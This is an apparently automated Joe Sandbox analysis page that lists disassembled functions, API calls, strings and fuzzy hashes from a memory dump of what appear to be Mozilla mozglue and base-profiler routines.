Instruction Fuzzy Hash: 73F15B716083559FD700CE2AC8903AAB7E2AFC6318F148A2DE5D587F82E774D845C797

Function 6C5FC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 59148e85d92689ed95647a0c31524b2b573815bb28e24b6f14bdb4aa1b92512b
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 6CA1A171F0021A8BDB18CE69C8913AEB7F2AFC9354F188139D925E7785D7346C068F90

Function 6C637710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: b504bc2c84bc94866ba30182de0c671a13333847d99d5fd0a32a3cd6440f0533
Instruction ID: 4cd4622ed91e97ac53aab92b8cf98f24934c215dbe185cecf492ecbc05d9a60c
Opcode Fuzzy Hash: b504bc2c84bc94866ba30182de0c671a13333847d99d5fd0a32a3cd6440f0533
Instruction Fuzzy Hash: F6716D71E01229CFCB08CF99D9905EDBBB2FF89314F24912ED819AB740D731A905CB94

Function 6C63CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default), ref: 6C63CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java), ref: 6C63CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C66FE98), ref: 6C63CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf), ref: 6C63CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio), ref: 6C63CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio), ref: 6C63CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall), ref: 6C63CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C63CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C63CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C63CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C63CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C63CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C63CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C63CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C63CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C63CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C63CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C63CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C63CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C63CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C63CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C63CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C63CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C63CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C63CE8A

Strings

power, xrefs: 6C63CE84
seqstyle, xrefs: 6C63CCE6
processcpu, xrefs: 6C63CE6E
noiostacks, xrefs: 6C63CCBE
unregisteredthreads, xrefs: 6C63CE58
nativeallocations, xrefs: 6C63CDA8
jsallocations, xrefs: 6C63CD0E
java, xrefs: 6C63CC37
stackwalk, xrefs: 6C63CCF8
fileioall, xrefs: 6C63CCA8
samplingallthreads, xrefs: 6C63CE2C
markersallthreads, xrefs: 6C63CE42
default, xrefs: 6C63CC21
nostacksampling, xrefs: 6C63CD7C
notimerresolutionchange, xrefs: 6C63CE00
screenshots, xrefs: 6C63CCD4
ipcmessages, xrefs: 6C63CDBE
mainthreadio, xrefs: 6C63CC7C
preferencereads, xrefs: 6C63CD92
audiocallbacktracing, xrefs: 6C63CDD4
fileio, xrefs: 6C63CC92
Unrecognized feature "%s"., xrefs: 6C63CEA0
leaf, xrefs: 6C63CC66
cpuallthreads, xrefs: 6C63CE16

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 33773cb5c82763134d5eb07059fba68b5c45a0a95a046aa21a34543a43589823
Instruction ID: 58e0504400a6ff802a0a3708cf858c1f8fd179d23857f68f301b404b78a8de96
Opcode Fuzzy Hash: 33773cb5c82763134d5eb07059fba68b5c45a0a95a046aa21a34543a43589823
Instruction Fuzzy Hash: E85155D194567572FE0231166D20BAA1485EF5334AF10763AFE1FA1E80FF05960AC9BF

Function 6C6047E6 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 220threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C604801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C604817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C60482D
__Init_thread_footer.LIBCMT ref: 6C60484A

Part of subcall function 6C62AB3F: EnterCriticalSection.KERNEL32(6C67E370,?,?,6C5F3527,6C67F6CC,?,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB49
Part of subcall function 6C62AB3F: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F3527,6C67F6CC,?,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62AB7C

GetCurrentThreadId.KERNEL32 ref: 6C60485F
GetCurrentThreadId.KERNEL32 ref: 6C60487E
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C60488B
free.MOZGLUE(?), ref: 6C60493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C604956
free.MOZGLUE(00000000), ref: 6C604960
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C60499A
free.MOZGLUE(?), ref: 6C6049C6

Part of subcall function 6C615E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C615EDB
Part of subcall function 6C615E90: memset.VCRUNTIME140(ewel,000000E5,?), ref: 6C615F27
Part of subcall function 6C615E90: LeaveCriticalSection.KERNEL32(?), ref: 6C615FB2

Strings

MOZ_PROFILER_SHUTDOWN, xrefs: 6C604A42
[I %d/%d] profiler_shutdown, xrefs: 6C604A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C6047FC
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C604812
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C604828

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 168835990f753515f5cfa01bf47e1636deb04c0e4d2cbf3a6ddd833d0b9d7dc7
Instruction ID: 979e02eac090d4fd9042abae5b93124b6ec5ff1efc29798f1ba8088be96aa468
Opcode Fuzzy Hash: 168835990f753515f5cfa01bf47e1636deb04c0e4d2cbf3a6ddd833d0b9d7dc7
Instruction Fuzzy Hash: E5811770B041108BDB2CDF29CA84B6A3771BF52318F140A39D916A7B46D7B1D855CBAE

Function 6C604470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C604730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6044B2,6C67E21C,6C67F7F8), ref: 6C60473E
Part of subcall function 6C604730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C60474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6044BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6044D2
InitOnceExecuteOnce.KERNEL32(6C67F80C,6C5FF240,?,?), ref: 6C60451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C60455C
LoadLibraryW.KERNEL32(?), ref: 6C604592
InitializeCriticalSection.KERNEL32(6C67F770), ref: 6C6045A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6045AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6045BB
InitOnceExecuteOnce.KERNEL32(6C67F818,6C5FF240,?,?), ref: 6C604612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C604636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C604644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C60466D
VerSetConditionMask.NTDLL ref: 6C60469F
VerSetConditionMask.NTDLL ref: 6C6046AB
VerSetConditionMask.NTDLL ref: 6C6046B2
VerSetConditionMask.NTDLL ref: 6C6046B9
VerSetConditionMask.NTDLL ref: 6C6046C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6046CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6046F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6046FD

Strings

NativeNtBlockSet_Write, xrefs: 6C6046F7
WRusr.dll, xrefs: 6C6044B5
Ggl, xrefs: 6C6044FC
kernel32.dll, xrefs: 6C6044CD
user32.dll, xrefs: 6C604557, 6C60463F
l, xrefs: 6C604578

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Ggl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-2544451872
Opcode ID: e82d4212d37f90767fc7d9fdf5c7dc24667eb3e3673f5c34c0424560c1afe17e
Instruction ID: 78fb9482df30e09af7817960f958dd5f7dcac8000179be6fd1052aef09b30c5a
Opcode Fuzzy Hash: e82d4212d37f90767fc7d9fdf5c7dc24667eb3e3673f5c34c0424560c1afe17e
Instruction Fuzzy Hash: 90612AB07043149FEB2A8F62CD89FA577B8EB92308F048858E504AB641D7F58945CF7E

Function 6C63F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C63F8F9

Part of subcall function 6C606390: GetCurrentThreadId.KERNEL32 ref: 6C6063D0
Part of subcall function 6C606390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6063DF
Part of subcall function 6C606390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C60640E

ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F93A
GetCurrentThreadId.KERNEL32 ref: 6C63F98A
GetCurrentThreadId.KERNEL32 ref: 6C63F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F716

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

Part of subcall function 6C5FB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C5FB5E0

GetCurrentThreadId.KERNEL32 ref: 6C63F739
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F746
GetCurrentThreadId.KERNEL32 ref: 6C63F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C67385B,00000002,?,?,?,?,?), ref: 6C63F829
free.MOZGLUE(?,?,00000000,?), ref: 6C63F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C63F866
free.MOZGLUE(?), ref: 6C63FA0C

Part of subcall function 6C605E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C63F968), ref: 6C605E8C
Part of subcall function 6C605E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C605E9D
Part of subcall function 6C605E60: GetCurrentThreadId.KERNEL32 ref: 6C605EAB
Part of subcall function 6C605E60: GetCurrentThreadId.KERNEL32 ref: 6C605EB8
Part of subcall function 6C605E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C605ECF
Part of subcall function 6C605E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C605F27
Part of subcall function 6C605E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C605F47
Part of subcall function 6C605E60: GetCurrentProcess.KERNEL32 ref: 6C605F53
Part of subcall function 6C605E60: GetCurrentThread.KERNEL32 ref: 6C605F5C
Part of subcall function 6C605E60: GetCurrentProcess.KERNEL32 ref: 6C605F66
Part of subcall function 6C605E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C605F7E

free.MOZGLUE(?), ref: 6C63F9C5
free.MOZGLUE(?), ref: 6C63F9DA

Strings

Thread , xrefs: 6C63F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C63F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C63F71F
" attempted to re-register as ", xrefs: 6C63F858

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: d89b1fb91a280bfc0ceed66f4c606c33b7d11351d4e2320976f3764ee07fbdc1
Instruction ID: 2fc213278edb15c074afbd4b16438f9f17150e4473d8af1f600c9ba158806ba6
Opcode Fuzzy Hash: d89b1fb91a280bfc0ceed66f4c606c33b7d11351d4e2320976f3764ee07fbdc1
Instruction Fuzzy Hash: DB812770A043109FDB15DF25C880AAAB7B5EFC5308F54586DE84997B51EB30D849CFAB

Function 6C63EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63EE60
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63EE6D
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C63EEA5
CloseHandle.KERNEL32(?), ref: 6C63EEB4
free.MOZGLUE(00000000), ref: 6C63EEBB
GetCurrentThreadId.KERNEL32 ref: 6C63EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63EECF

Part of subcall function 6C63DE60: GetCurrentThreadId.KERNEL32 ref: 6C63DE73
Part of subcall function 6C63DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6C66FEF3,?,?,?,?,?,?,00000000), ref: 6C63DE7B
Part of subcall function 6C63DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000), ref: 6C63DEB8
Part of subcall function 6C63DE60: free.MOZGLUE(00000000), ref: 6C63DEFE
Part of subcall function 6C63DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C63DF38

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

GetCurrentThreadId.KERNEL32 ref: 6C63EF1E
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63EF2B
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63EF59
GetCurrentThreadId.KERNEL32 ref: 6C63EFB0
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63EFBD
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63EFE1
GetCurrentThreadId.KERNEL32 ref: 6C63EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F000

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C63F02F

Part of subcall function 6C63F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C63F09B
Part of subcall function 6C63F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C63F0AC
Part of subcall function 6C63F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C63F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C63EED7
[I %d/%d] profiler_pause, xrefs: 6C63F008

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 40596666866c4a4cfe934fc6c0e58af36dc0563228f1f3a03aa17809631e939d
Instruction ID: 3c52072c0cc5378fa5c480481d5e7accc98c7cb1b3ac08d0878bd0d8864db0fb
Opcode Fuzzy Hash: 40596666866c4a4cfe934fc6c0e58af36dc0563228f1f3a03aa17809631e939d
Instruction Fuzzy Hash: D85128316042309FDB195F66D488B997BB4EF87358F201D19EA1983B86CB744815CBBF

Function 6C607FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C608007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C60801D

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C60802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C60803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C60808D

Part of subcall function 6C60CA10: mozalloc_abort.MOZGLUE(?), ref: 6C60CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C60809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6080B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C6080DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6080ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6080FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C60810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C608133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C608149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C608167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C60817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C608199

Strings

0>cl, xrefs: 6C60811E

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>cl
API String ID: 2721933968-4115593776
Opcode ID: 6a6c7cb656f9e682f3b1ea7e1dba89ab40213fc96b6ba25ba0f44517c7c4a97b
Instruction ID: 532e3e25f2acfb15049b3233735797ebea6e144a13129e26719f081390f4211f
Opcode Fuzzy Hash: 6a6c7cb656f9e682f3b1ea7e1dba89ab40213fc96b6ba25ba0f44517c7c4a97b
